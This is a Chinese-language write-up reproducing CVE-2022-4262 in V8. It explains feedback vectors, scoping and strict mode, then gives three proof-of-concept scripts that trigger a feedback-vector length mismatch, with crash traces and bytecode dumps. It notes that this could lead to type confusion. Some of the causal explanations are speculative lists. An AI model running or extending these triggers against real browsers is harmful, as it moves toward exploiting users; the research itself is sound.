CVE-2022-4262复现
V8 的 Feedback 机制详解
V8 的 Feedback 机制是连接 解释器(Ignition) 和 优化编译器(TurboFan) 的核心纽带,通过记录函数执行时的类型信息和调用模式,实现动态优化。
1. 核心数据结构
-
Feedback Metadata
-
存储位置 :
SharedFunctionInfo
对象的outer_scope_info_or_feedback_metadata
字段(偏移0xC
)。 -
作用 : 定义反馈向量的 槽位结构(Slot Layout) ,每个槽位对应一个需要收集信息的代码位置(如属性访问、函数调用)。
-
字段:
slot_count
:槽位总数,决定 Feedback Vector 的长度。
-
-
Feedback Vector
-
存储位置 :
JSFunction
对象的feedback_cell
字段(偏移0x14
)→FeedbackCell
的value
字段(偏移0x4
)。 -
作用 : 存储实际的 类型反馈数据(如调用目标、属性类型、隐式转换模式)。
-
字段:
length
:必须与FeedbackMetadata.slot_count
严格一致。
-
2. Feedback 收集过程
-
初始化
-
函数首次编译时,Ignition 根据代码生成
FeedbackMetadata
,确定需要监控的槽位(如CallIC
、LoadIC
)。 -
示例:
cssfunction add(a, b) { return a + b; }
add
的FeedbackMetadata
会为a + b
的操作分配槽位,记录a
和b
的类型。
-
-
运行时记录
-
解释器执行字节码时,通过 Inline Cache(IC) 记录类型信息到
FeedbackVector
:- 类型反馈 :如
a
是Smi
还是HeapObject
。 - 调用目标 :如
eval()
的实际绑定位置(全局或局部作用域)。
- 类型反馈 :如
-
示例指令:
lessLdaGlobal [5], [1] // 记录全局变量访问的反馈到槽位1
-
-
优化编译
-
TurboFan 根据
FeedbackVector
的数据生成优化代码:- 若
a + b
的反馈显示a
和b
始终为Smi
,则生成快速整数加法指令。 - 若
eval
被遮蔽(如局部const eval = 1
),则生成动态作用域查找逻辑
- 若
-
3. Feedback Vector 与 Metadata 的一致性(强制校验目的是安全)
-
强制校验 : V8 在 优化编译 或 反馈向量初始化 时,会检查以下断言:
scssCHECK(feedback_vector->length() == feedback_metadata->slot_count());
若不一致(如槽位数量变化未同步),会触发致命错误(如
Fatal error: Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count()
)。 -
动态更新 : 当函数被重新编译(如作用域变化或热更新)时,V8 会同步更新
FeedbackMetadata
和FeedbackVector
的槽位结构。
4. Feedback 的关键应用场景 (LdaGlobal
和LdaLookupGlobalSlot
本文关键)
场景 | 作用 | 示例指令 |
---|---|---|
内联缓存(IC) | 记录属性读写的目标类型 | LdaGlobal , StaGlobal |
调用优化 | 记录函数调用的实际目标 | CallUndefinedReceiver0 |
作用域解析 | 记录变量的查找路径(全局/闭包) | LdaLookupGlobalSlot |
类型保护 | 验证优化后的代码是否失效(如类型变化) | CheckMaps |
核心价值:通过动态类型反馈,使 TurboFan 生成高度优化的机器码,同时确保作用域和类型变化的正确性。
javascript作用域
1. 执行上下文(Execution Context)的核心组成
JavaScript 引擎通过 执行上下文 管理代码运行时的环境,其核心结构如下:
组件 | 描述 |
---|---|
变量环境 (Variable Environment) | 存储 var 声明的变量和函数声明(函数作用域)。 |
词法环境 (Lexical Environment) | 存储 let/const 声明的变量和块作用域(ES6 引入,支持块级作用域)。 |
外层作用域 (Outer Scope) | 指向父级作用域,形成 作用域链,用于变量查找。 |
This 绑定 | 确定当前执行上下文的 this 值(动态绑定,与作用域链无关)。 |
2. 作用域类型与变量存储
-
全局作用域 (Global Scope)
- 变量存储在全局对象(如
window
或globalThis
)中。 - 示例:
var globalVar = 1
→ 存储在全局变量环境中。
- 变量存储在全局对象(如
-
函数作用域 (Function Scope)
-
var
声明的变量存储在 变量环境 ,let/const
存储在 词法环境。 -
示例:
csharpfunction foo() { var x = 1; // 变量环境 let y = 2; // 词法环境 }
-
-
块作用域 (Block Scope)
-
仅
let/const
和class
声明会创建块作用域。 -
示例:
csharpif (true) { let z = 3; // 块级词法环境 }
-
3. 作用域链的静态特性
作用域链在编译时确定,与函数调用位置无关。例如:
sql
function outer() {
let outerVar = "outer";
function inner() {
console.log(outerVar); // 作用域链:inner → outer → global
}
return inner;
}
const closure = outer();
closure(); // 输出 "outer"
- 编译时 :
inner
的外层作用域被标记为outer
的作用域。 - 运行时 :即使
closure()
在全局调用,inner
仍通过作用域链访问outerVar
。
4. 变量遮蔽(Shadowing)
当内层作用域声明与外层同名变量时,外层变量被遮蔽:
javascript
let eval = "shadowed"; // 全局eval被遮蔽
function test() {
console.log(eval); // 输出 "shadowed"
}
test();
- V8 字节码影响 : 若
eval
被遮蔽,字节码会使用LdaLookupGlobalSlot
(动态查找)而非LdaGlobal
(直接访问全局对象)。
5. This 绑定的动态性
-
默认绑定 :非严格模式下,全局作用域中的函数
this
指向全局对象。scssfunction foo() { console.log(this); } foo(); // 输出 global/window
-
显式绑定 :通过
call/apply
动态修改this
。iniconst obj = { a: 10 }; foo.call(obj); // this 指向 obj
-
箭头函数 :不创建独立
this
,继承外层作用域的this
。javascriptconst obj = { bar: () => console.log(this) // this 继承自外层(如全局) }; obj.bar(); // 输出 global/window
6. V8 引擎中的作用域实现
-
作用域信息存储 : V8 通过
ScopeInfo
记录作用域类型(如FUNCTION_SCOPE
、BLOCK_SCOPE
)。- 示例:
CreateFunctionContext [0], [2]
表示创建包含2个槽位的函数上下文。
- 示例:
-
变量查找优化:
- 直接访问 :全局变量未被遮蔽时,使用
LdaGlobal
快速加载。 - 动态查找 :若变量被遮蔽或需通过作用域链访问,使用
LdaLookupGlobalSlot
。
- 直接访问 :全局变量未被遮蔽时,使用
javaScript的严格(Strict)模式与松散(Sloppy)模式
1. 模式定义与启用
- 严格模式 :通过
"use strict"
指令启用,对语法和行为进行严格约束。 - 松散模式(Sloppy Mode) :默认模式,允许历史遗留的非严格行为。
2. 关键差异对比
特性 | 松散模式(Sloppy) | 严格模式(Strict) |
---|---|---|
变量声明 | 未声明的变量自动成为全局变量(如 x = 1 ) |
未声明变量赋值抛出 ReferenceError |
eval 作用域 |
eval 可创建或修改外层作用域变量 |
eval 运行在独立作用域,不影响外层变量 |
this 绑定 |
非函数调用的 this 指向全局对象(如 window ) |
非函数调用的 this 指向 undefined |
删除变量/函数 | delete 删除不可配置属性静默失败 |
delete 删除不可配置属性抛出 TypeError |
参数绑定 | arguments 对象动态追踪参数变化 |
arguments 对象与参数解耦(性能优化) |
八进制字面量 | 允许 0644 (非标准) |
禁止八进制字面量(需用 0o644 ) |
重复参数名 | 允许 function f(a, a) {} |
抛出 SyntaxError |
with 语句 |
允许使用 with (可能导致性能问题) |
禁止 with ,抛出 SyntaxError |
3. 严格模式的核心优势
-
错误提前暴露
- 松散模式:静默忽略错误(如赋值给未声明变量)。
- 严格模式:直接抛出异常(如
ReferenceError
),便于调试。
-
作用域隔离
-
松散模式:
javascripteval("var x = 1"); console.log(x); // 输出 1(污染外层作用域)
-
严格模式:
javascript"use strict"; eval("var x = 1"); console.log(x); // ReferenceError(x 仅在 eval 内部可见)
-
-
性能优化
-
严格模式下,V8 可生成更高效代码:
- 明确的
this
绑定:避免动态查找全局对象。 - 禁用
with
:减少作用域链的不确定性。 - 优化
arguments
:避免动态追踪参数变化。
- 明确的
-
4. 类与严格模式
-
自动启用严格模式 : ES6 的
class
声明体内部默认启用严格模式,无需显式声明。javascriptclass Example { method() { x = 1; // ReferenceError(严格模式下未声明变量) } }
-
影响:
- 类方法中的
this
默认绑定undefined
(而非全局对象)。 - 禁止
arguments.callee
和arguments.caller
。
- 类方法中的
5. V8 引擎的底层影响
-
作用域解析:
- 松散模式 :
eval
可能动态修改作用域,导致字节码生成保守的LdaLookupGlobalSlot
。 - 严格模式 :
eval
作用域隔离,可能生成更直接的LdaGlobal
。
- 松散模式 :
-
优化潜力 : 严格模式下,V8 的 Feedback 机制 更高效,因变量和
this
的行为更可预测。
PoC1
ini
/*
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/1.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/1.js
*/
a = function f1() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
function ccc() { }
{
((a = class b3 {
[({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
}) => { let z = 0xdeadbeef; })(); // 新增z变量,以建立打印出的字节码与各JavaScript函数的对应关系
}
if (j == 11) {
a();
}
%SystemBreak();
}
函数两次编译出的字节码不同。
可能的原因:
- 不同的优化级别(如Ignition解释器与TurboFan优化后的代码)。
- 代码中存在动态特性导致的不同编译路径。
- 函数作用域或上下文的不同导致的闭包创建差异。
- 全局变量或环境状态的变化影响了编译结果。
- V8版本或配置选项的不同导致的编译策略变化。
- 代码中存在条件执行路径,导致不同的字节码生成。
- 安全修复或代码更改导致的字节码结构调整。
首次编译函数中上文提到过的LdaGlobal
字节码在第二次编译时都被替换为了LdaLookupGlobalSlot
。
具体分析:
-
作用域上下文差异
- 第二次编译时,函数可能处于不同的上下文环境(如被包裹在块作用域或模块中),导致全局变量无法直接通过全局对象访问,需通过Context Slot 动态查找。
- 示例:首次编译时全局变量直接绑定到全局对象(
LdaGlobal
),而第二次编译时变量可能被提升到外层块作用域,需通过作用域链查找(LdaLookupGlobalSlot
)。
-
全局变量状态变化
- 两次编译之间,全局变量可能经历了重新定义、删除或属性修改 (如变为不可配置),导致 V8 无法直接内联缓存其位置,转而使用动态查找。
-
闭包或环境捕获
- 若函数在第二次编译时捕获了外部作用域的变量,V8 会为变量分配上下文槽 ,并通过
LdaLookupGlobalSlot
访问,而非直接操作全局对象。
- 若函数在第二次编译时捕获了外部作用域的变量,V8 会为变量分配上下文槽 ,并通过
yaml
[generated bytecode for function: (0x0e690011a3e9 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0xe690011a69a @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0xe690011a69d @ 3 : 1a fa PushContext r0
0xe690011a69f @ 5 : 10 LdaTheHole
0xe690011a6a0 @ 6 : 25 02 StaCurrentContextSlot [2]
0xe690011a6a2 @ 8 : 0b 03 Ldar a0
0xe690011a6a4 @ 10 : 9d 7d JumpIfNotUndefined [125] (0xe690011a721 @ 135)
0xe690011a6a6 @ 12 : 81 01 CreateBlockContext [1]
0xe690011a6a8 @ 14 : 1a f9 PushContext r1
0xe690011a6aa @ 16 : 10 LdaTheHole
0xe690011a6ab @ 17 : 25 02 StaCurrentContextSlot [2]
0xe690011a6ad @ 19 : 10 LdaTheHole
0xe690011a6ae @ 20 : 25 03 StaCurrentContextSlot [3]
0xe690011a6b0 @ 22 : 10 LdaTheHole
0xe690011a6b1 @ 23 : bf Star5
0xe690011a6b2 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0xe690011a6b6 @ 28 : c2 Star2
0xe690011a6b7 @ 29 : 13 02 LdaConstant [2]
0xe690011a6b9 @ 31 : c1 Star3
0xe690011a6ba @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0xe690011a6be @ 36 : bd Star7
0xe690011a6bf @ 37 : 21 05 01 LdaGlobal [5], [1]
0xe690011a6c2 @ 40 : bc Star8
0xe690011a6c3 @ 41 : 61 f2 03 CallUndefinedReceiver0 r8, [3]
0xe690011a6c6 @ 44 : 33 f3 06 05 DefineNamedOwnProperty r7, [6], [5]
0xe690011a6ca @ 48 : 14 fa 02 00 LdaContextSlot r0, [2], [0]
0xe690011a6ce @ 52 : bc Star8
0xe690011a6cf @ 53 : 21 05 01 LdaGlobal [5], [1]
0xe690011a6d2 @ 56 : bb Star9
0xe690011a6d3 @ 57 : 62 f2 f1 07 CallUndefinedReceiver1 r8, r9, [7]
0xe690011a6d7 @ 61 : 33 f3 07 09 DefineNamedOwnProperty r7, [7], [9]
0xe690011a6db @ 65 : 14 fa 02 00 LdaContextSlot r0, [2], [0]
0xe690011a6df @ 69 : bc Star8
0xe690011a6e0 @ 70 : 21 05 01 LdaGlobal [5], [1]
0xe690011a6e3 @ 73 : bb Star9
0xe690011a6e4 @ 74 : 62 f2 f1 0b CallUndefinedReceiver1 r8, r9, [11]
0xe690011a6e8 @ 78 : 33 f3 08 0d DefineNamedOwnProperty r7, [8], [13]
0xe690011a6ec @ 82 : 19 f8 f6 Mov r2, r4
0xe690011a6ef @ 85 : 0b f3 Ldar r7
0xe690011a6f1 @ 87 : 97 05 JumpIfToBooleanFalse [5] (0xe690011a6f6 @ 92)
0xe690011a6f3 @ 89 : 0c LdaZero
0xe690011a6f4 @ 90 : 8a 0f Jump [15] (0xe690011a703 @ 105)
0xe690011a6f6 @ 92 : 0d 01 LdaSmi [1]
0xe690011a6f8 @ 94 : 23 09 0f StaGlobal [9], [15]
0xe690011a6fb @ 97 : 0d 02 LdaSmi [2]
0xe690011a6fd @ 99 : bd Star7
0xe690011a6fe @ 100 : 23 0a 11 StaGlobal [10], [17]
0xe690011a701 @ 103 : 0b f3 Ldar r7
0xe690011a703 @ 105 : 73 f4 ToName r6
0xe690011a705 @ 107 : 0b f4 Ldar r6
0xe690011a707 @ 109 : 25 02 StaCurrentContextSlot [2]
0xe690011a709 @ 111 : 65 29 00 f7 04 CallRuntime [DefineClass], r3-r6
0xe690011a70e @ 116 : 0b f8 Ldar r2
0xe690011a710 @ 118 : 25 03 StaCurrentContextSlot [3]
0xe690011a712 @ 120 : 80 0b 01 02 CreateClosure [11], [1], #2
0xe690011a716 @ 124 : c1 Star3
0xe690011a717 @ 125 : 32 f8 0c 13 SetNamedProperty r2, [12], [19]
0xe690011a71b @ 129 : 1b f9 PopContext r1
0xe690011a71d @ 131 : 0b f8 Ldar r2
0xe690011a71f @ 133 : 8a 04 Jump [4] (0xe690011a723 @ 137)
0xe690011a721 @ 135 : 0b 03 Ldar a0
0xe690011a723 @ 137 : 25 02 StaCurrentContextSlot [2]
0xe690011a725 @ 139 : 0e LdaUndefined
0xe690011a726 @ 140 : a9 Return
Constant pool (size = 13)
0xe690011a63d: [FixedArray] in OldSpace
- map: 0x0e6900002231 <Map(FIXED_ARRAY_TYPE)>
- length: 13
0: 0x0e690011a2d1 <ScopeInfo FUNCTION_SCOPE>
1: 0x0e690011a301 <ScopeInfo CLASS_SCOPE>
2: 0x0e690011a619 <FixedArray[7]>
3: 0x0e690011a51d <SharedFunctionInfo b3>
4: 0x0e690011a575 <ObjectBoilerplateDescription[7]>
5: 0x0e6900006005 <String[4]: #eval>
6: 0x0e69000040a5 <String[1]: #c>
7: 0x0e69000040b5 <String[1]: #d>
8: 0x0e69000040c5 <String[1]: #e>
9: 0x0e690011a1d5 <String[2]: #aa>
10: 0x0e690011a1e5 <String[2]: #bb>
11: 0x0e690011a551 <SharedFunctionInfo <instance_members_initializer>>
12: 0x0e69000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)
yaml
[generated bytecode for function: (0x0e690011a3e9 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0xe690011c4be @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0xe690011c4c1 @ 3 : 1a fa PushContext r0
0xe690011c4c3 @ 5 : 10 LdaTheHole
0xe690011c4c4 @ 6 : 25 03 StaCurrentContextSlot [3]
0xe690011c4c6 @ 8 : 0b 03 Ldar a0
0xe690011c4c8 @ 10 : 9d 7d JumpIfNotUndefined [125] (0xe690011c545 @ 135)
0xe690011c4ca @ 12 : 81 01 CreateBlockContext [1]
0xe690011c4cc @ 14 : 1a f9 PushContext r1
0xe690011c4ce @ 16 : 10 LdaTheHole
0xe690011c4cf @ 17 : 25 02 StaCurrentContextSlot [2]
0xe690011c4d1 @ 19 : 10 LdaTheHole
0xe690011c4d2 @ 20 : 25 03 StaCurrentContextSlot [3]
0xe690011c4d4 @ 22 : 10 LdaTheHole
0xe690011c4d5 @ 23 : bf Star5
0xe690011c4d6 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0xe690011c4da @ 28 : c2 Star2
0xe690011c4db @ 29 : 13 02 LdaConstant [2]
0xe690011c4dd @ 31 : c1 Star3
0xe690011c4de @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0xe690011c4e2 @ 36 : bd Star7
0xe690011c4e3 @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1], [2]
0xe690011c4e7 @ 41 : bc Star8
0xe690011c4e8 @ 42 : 61 f2 03 CallUndefinedReceiver0 r8, [3]
0xe690011c4eb @ 45 : 33 f3 06 05 DefineNamedOwnProperty r7, [6], [5]
0xe690011c4ef @ 49 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0xe690011c4f3 @ 53 : bc Star8
0xe690011c4f4 @ 54 : 28 05 07 02 LdaLookupGlobalSlot [5], [7], [2]
0xe690011c4f8 @ 58 : bb Star9
0xe690011c4f9 @ 59 : 62 f2 f1 09 CallUndefinedReceiver1 r8, r9, [9]
0xe690011c4fd @ 63 : 33 f3 08 0b DefineNamedOwnProperty r7, [8], [11]
0xe690011c501 @ 67 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0xe690011c505 @ 71 : bc Star8
0xe690011c506 @ 72 : 28 05 0d 02 LdaLookupGlobalSlot [5], [13], [2]
0xe690011c50a @ 76 : bb Star9
0xe690011c50b @ 77 : 62 f2 f1 0f CallUndefinedReceiver1 r8, r9, [15]
0xe690011c50f @ 81 : 33 f3 09 11 DefineNamedOwnProperty r7, [9], [17]
0xe690011c513 @ 85 : 19 f8 f6 Mov r2, r4
0xe690011c516 @ 88 : 0b f3 Ldar r7
0xe690011c518 @ 90 : 97 05 JumpIfToBooleanFalse [5] (0xe690011c51d @ 95)
0xe690011c51a @ 92 : 0c LdaZero
0xe690011c51b @ 93 : 8a 0c Jump [12] (0xe690011c527 @ 105)
0xe690011c51d @ 95 : 0d 01 LdaSmi [1]
0xe690011c51f @ 97 : 2c 0a 01 StaLookupSlot [10], #1
0xe690011c522 @ 100 : 0d 02 LdaSmi [2]
0xe690011c524 @ 102 : 2c 0b 01 StaLookupSlot [11], #1
0xe690011c527 @ 105 : 73 f4 ToName r6
0xe690011c529 @ 107 : 0b f4 Ldar r6
0xe690011c52b @ 109 : 25 02 StaCurrentContextSlot [2]
0xe690011c52d @ 111 : 65 29 00 f7 04 CallRuntime [DefineClass], r3-r6
0xe690011c532 @ 116 : 0b f8 Ldar r2
0xe690011c534 @ 118 : 25 03 StaCurrentContextSlot [3]
0xe690011c536 @ 120 : 80 0c 01 02 CreateClosure [12], [1], #2
0xe690011c53a @ 124 : c1 Star3
0xe690011c53b @ 125 : 32 f8 0d 13 SetNamedProperty r2, [13], [19]
0xe690011c53f @ 129 : 1b f9 PopContext r1
0xe690011c541 @ 131 : 0b f8 Ldar r2
0xe690011c543 @ 133 : 8a 04 Jump [4] (0xe690011c547 @ 137)
0xe690011c545 @ 135 : 0b 03 Ldar a0
0xe690011c547 @ 137 : 25 03 StaCurrentContextSlot [3]
0xe690011c549 @ 139 : 0e LdaUndefined
0xe690011c54a @ 140 : a9 Return
Constant pool (size = 14)
0xe690011c45d: [FixedArray] in OldSpace
- map: 0x0e6900002231 <Map(FIXED_ARRAY_TYPE)>
- length: 14
0: 0x0e690011c2b9 <ScopeInfo FUNCTION_SCOPE>
1: 0x0e690011c2e9 <ScopeInfo CLASS_SCOPE>
2: 0x0e690011c439 <FixedArray[7]>
3: 0x0e690011c33d <SharedFunctionInfo b3>
4: 0x0e690011c395 <ObjectBoilerplateDescription[7]>
5: 0x0e6900006005 <String[4]: #eval>
6: 0x0e69000040a5 <String[1]: #c>
7: 0x0e690011a1b5 <String[3]: #ccc>
8: 0x0e69000040b5 <String[1]: #d>
9: 0x0e69000040c5 <String[1]: #e>
10: 0x0e690011c251 <String[2]: #aa>
11: 0x0e690011c261 <String[2]: #bb>
12: 0x0e690011c371 <SharedFunctionInfo <instance_members_initializer>>
13: 0x0e69000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)
PoC2
ini
/*
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/2.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/2.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/2.js
*/
a = function f1() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))] // 化简了lambda表达式实例默认函数参数内部class的计算属性名内容
}) => { let z = 0xdeadbeef; })();
}
if (j == 11) {
a();
}
}
V8 在初始化函数反馈单元时检测到 反馈向量长度与元数据槽位数不匹配 ,触发断言失败。
崩溃的原因:
-
反馈向量结构损坏
- 反馈向量(Feedback Vector) 存储函数的类型反馈信息(如调用类型、属性访问模式),其长度由元数据中的
slot_count
决定。 - 崩溃条件 : 当函数被重新编译(如惰性编译或优化编译)时,若反馈向量的
slot_count
未正确更新,而实际分配的向量长度与旧元数据不一致,导致断言失败。
- 反馈向量(Feedback Vector) 存储函数的类型反馈信息(如调用类型、属性访问模式),其长度由元数据中的
-
作用域变化导致槽位数不匹配
-
用户提供的字节码显示,第二次编译时:
- 常量池新增了
ccc
(条目7),暗示作用域中新增了变量或闭包。 - 全局变量访问从
LdaGlobal
改为LdaLookupGlobalSlot
,表明作用域链延长。
- 常量池新增了
-
影响 : 作用域变化可能导致反馈向量需要更多槽位存储额外的类型反馈,但元数据未同步更新,导致
length
与slot_count
不一致。
-
-
并发编译竞争条件
- 若函数在 惰性编译(Lazy Compilation) 或 优化编译(TurboFan Optimization) 过程中被多次触发,可能因竞争条件导致反馈向量元数据更新不完整。
less
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/2.js
RangeError: Array buffer allocation failed
#
# Fatal error in , line 0
# Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count().
#
#
#
#FailureMessage Object: 0x7fffb0bf69d0
==== C stack trace ===============================
/root/v8/v8/out/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x56212aef4443]
/root/v8/v8/out/x64.release/d8(+0x19a3b3b) [0x56212aef3b3b]
/root/v8/v8/out/x64.release/d8(V8_Fatal(char const*, ...)+0x145) [0x56212aee6265]
/root/v8/v8/out/x64.release/d8(v8::internal::JSFunction::InitializeFeedbackCell(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::IsCompiledScope*, bool)+0xf4) [0x56212a3cdf14]
/root/v8/v8/out/x64.release/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x167) [0x56212a072cc7]
/root/v8/v8/out/x64.release/d8(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0xcd) [0x56212a58993d]
/root/v8/v8/out/x64.release/d8(+0x185a038) [0x56212adaa038]
修改运行参数逆向推出字节码不一致的原因
bash
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-builtin-info /root/v8/v8/..ypj_poc/2.js
因为Root Cause,导致重编译时对FeedbackMetadata的slot_count计算错误。当我们巧妙构造lambda表达式,使得首次编译和重编译时FeedbackMetadata的slot_count和FeedbackVector的length相等时,就有可能发生类型混淆。
PoC3
ini
/*
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/3.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/3.js
*/
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的赋值,便于在字节码中体现
}) => { let z = 0xdeadbeef; })();
}
if (j == 11) {
a();
}
}
差异分析
-
指令替换:
LdaGlobal
→LdaLookupGlobalSlot
- 首次编译 :
LdaGlobal [5], [1]
直接通过全局对象加载变量eval
(常量池索引5对应#eval
)。 - 第二次编译 :
LdaLookupGlobalSlot [5], [1], [2]
通过作用域链动态查找 加载eval
,表明变量可能被提升到外层作用域或存在闭包。
- 首次编译 :
-
上下文槽位变化
- 首次编译 :
CreateFunctionContext [0], [1]
分配1个上下文槽。 - 第二次编译 :
CreateFunctionContext [0], [2]
分配2个上下文槽,暗示作用域结构更复杂(如新增块作用域或变量捕获)。
- 首次编译 :
-
存储指令差异
- 首次编译 :
StaGlobal [7], [7]
直接存储到全局对象。 - 第二次编译 :
StaLookupSlot [7], #1
通过作用域链存储,表明变量可能位于闭包或块作用域中。
- 首次编译 :
原因:
-
块作用域或模块上下文
- 第二次编译的
CreateFunctionContext [0], [2]
表明函数上下文包含额外的槽位,可能由let/const
或class
声明引入的块作用域导致。 - 此时,
eval
可能被外层块作用域遮蔽(Shadowing),需通过LdaLookupGlobalSlot
逐层查找。
- 第二次编译的
-
闭包或环境捕获
- 若函数捕获了外部作用域的变量(如通过嵌套函数或
eval
),V8 会为变量分配上下文槽 ,并通过LdaLookupGlobalSlot
访问,而非直接绑定到全局对象。
- 若函数捕获了外部作用域的变量(如通过嵌套函数或
-
全局变量状态变化
- 两次编译之间,
eval
可能被重新定义(如const eval = 1
)或删除(delete globalThis.eval
),导致 V8 放弃内联缓存,转为动态查找。
- 两次编译之间,
yaml
[generated bytecode for function: (0x118b0011a379 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x118b0011a5f6 @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x118b0011a5f9 @ 3 : 1a f9 PushContext r1
0x118b0011a5fb @ 5 : 10 LdaTheHole
0x118b0011a5fc @ 6 : 25 02 StaCurrentContextSlot [2]
0x118b0011a5fe @ 8 : 0b 03 Ldar a0
0x118b0011a600 @ 10 : 9d 58 JumpIfNotUndefined [88] (0x118b0011a658 @ 98)
0x118b0011a602 @ 12 : 81 01 CreateBlockContext [1]
0x118b0011a604 @ 14 : 1a f8 PushContext r2
0x118b0011a606 @ 16 : 10 LdaTheHole
0x118b0011a607 @ 17 : 25 02 StaCurrentContextSlot [2]
0x118b0011a609 @ 19 : 10 LdaTheHole
0x118b0011a60a @ 20 : 25 03 StaCurrentContextSlot [3]
0x118b0011a60c @ 22 : 10 LdaTheHole
0x118b0011a60d @ 23 : be Star6
0x118b0011a60e @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x118b0011a612 @ 28 : c1 Star3
0x118b0011a613 @ 29 : 13 02 LdaConstant [2]
0x118b0011a615 @ 31 : c0 Star4
0x118b0011a616 @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x118b0011a61a @ 36 : bc Star8
0x118b0011a61b @ 37 : 21 05 01 LdaGlobal [5], [1]
0x118b0011a61e @ 40 : bb Star9
0x118b0011a61f @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x118b0011a622 @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x118b0011a626 @ 48 : 19 f7 f5 Mov r3, r5
0x118b0011a629 @ 51 : 0b f2 Ldar r8
0x118b0011a62b @ 53 : 97 05 JumpIfToBooleanFalse [5] (0x118b0011a630 @ 58)
0x118b0011a62d @ 55 : 0c LdaZero
0x118b0011a62e @ 56 : 8a 0c Jump [12] (0x118b0011a63a @ 68)
0x118b0011a630 @ 58 : 00 0d ff 00 LdaSmi.Wide [255]
0x118b0011a634 @ 62 : bc Star8
0x118b0011a635 @ 63 : 23 07 07 StaGlobal [7], [7]
0x118b0011a638 @ 66 : 0b f2 Ldar r8
0x118b0011a63a @ 68 : 73 f3 ToName r7
0x118b0011a63c @ 70 : 0b f3 Ldar r7
0x118b0011a63e @ 72 : 25 02 StaCurrentContextSlot [2]
0x118b0011a640 @ 74 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x118b0011a645 @ 79 : 0b f7 Ldar r3
0x118b0011a647 @ 81 : 25 03 StaCurrentContextSlot [3]
0x118b0011a649 @ 83 : 80 08 01 02 CreateClosure [8], [1], #2
